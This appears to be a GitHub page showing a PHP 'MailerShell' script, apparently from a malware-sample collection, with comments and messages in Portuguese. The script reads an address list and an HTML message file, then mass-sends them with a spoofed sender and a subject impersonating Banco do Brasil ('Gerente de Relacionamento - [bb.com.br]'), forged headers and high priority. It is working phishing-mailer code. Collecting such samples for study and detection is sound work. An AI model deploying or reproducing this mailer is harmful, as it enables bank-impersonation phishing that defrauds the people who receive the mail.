-
Notifications
You must be signed in to change notification settings - Fork 466
/
Copy pathMailerShell_d00bb65e7f7cc219fa162857d8b88b8affeb831c.php
106 lines (96 loc) · 2.63 KB
/
MailerShell_d00bb65e7f7cc219fa162857d8b88b8affeb831c.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
<?php
set_time_limit(0);
$numero = $_GET['lista'];
$config['maillist'] = "xmail.txt";
$config['remetente'] = "Andrei de Paula<[email protected]>";
$config['assunto'] = 'Gerente de Relacionamento - [bb.com.br] ';
$config['mensagem'] = 'xeng.txt';
$config['maxerros'] = 100;
$data = date("d/m/Y");
$boundary = rand(1,999999);
/*
if($_SERVER["argc"] < 3) {
echo "Use: ".$_SERVER["argv"][0]." <maillist> <mailfile> [remetente] [assunto] [headers]\n";
exit();
}
*/
if(!$_SERVER["argv"][3])
//$remetente = "[email protected]";
$remetente = $config['remetente'];
else
$remetente = $_SERVER["argv"][3];
if(!$_SERVER["argv"][4])
//$assunto = "Assunto";
$assunto = $config['assunto'];
else
$assunto = $_SERVER["argv"][4];
echo "Shell Iniciada<br>\n";
//$file = $_SERVER["argv"][1];
$file = $config['maillist'];
$linhas = @file($file);
if(!$linhas) {
echo "File ",$file." nao encontrado\n";
exit(0);
}
//$email = $_SERVER["argv"][2];
$email = $config['mensagem'];
$linhase = @file($email);
if(!$linhase) {
echo "File ",$email." nao encontrado\n";
exit(0);
}
$ok =0;
$no = 0;
$num =0;
for($a=0;$a<count($linhas);$a++) {
unset($emails);
for($b=0;$b<count($linhase);$b++) {
$emails .= $linhase[$b];
}
$num++;
$to = trim($linhas[$a]);
if(!strpos($to,"@"))
continue;
/* if(!(strstr($to,"[email protected]") {
$failed +=1;
$fp = fopen("failed.txt","aw+");
fwrite($fp,$to."\r\n");
fclose($fp);
continue;
}
*/
$fp = fopen("ok.txt","aw+");
$emails = str_replace("%EMAIL%",$to,$emails);
if(!@mail($to, $assunto.$data, $emails.$boundary, "FROM:".$remetente." \nReturn-Path: [email protected]\ncontent-type: text/html\nX-priority: 1\n")) {
$no++;
/*
if($no == 10 ) {
if(!$con = fsockopen('br.msn.com',110,$da,$sdg)) {
sleep(500);
$no = 90;
continue;
}
sleep(15);
fwrite($con,"USER $host\r\nPASS $temp\r\n");
fclose($con);
$no= 0;
}
*/
if($no >= $config['maxerros']) {
die('Desisto >.<');
}
echo "$to <br>Erro.. <br>[$num]\n";
//fwrite($fp,$to."[Nao enviado]\r\n");
fclose($fp);
continue;
} else {
$ok +=1;
echo "$to <font color='blue'> <br> Ja Foii !!! <br> </font>[$num]\n";
//fwrite($fp,$to."[enVIADOoo]\r\n");
fclose($fp);
continue;
}
}
echo "<br>Total enviado: ".$ok."\n";
echo "<br>Total de emails ruins: ".$no."\n";
?>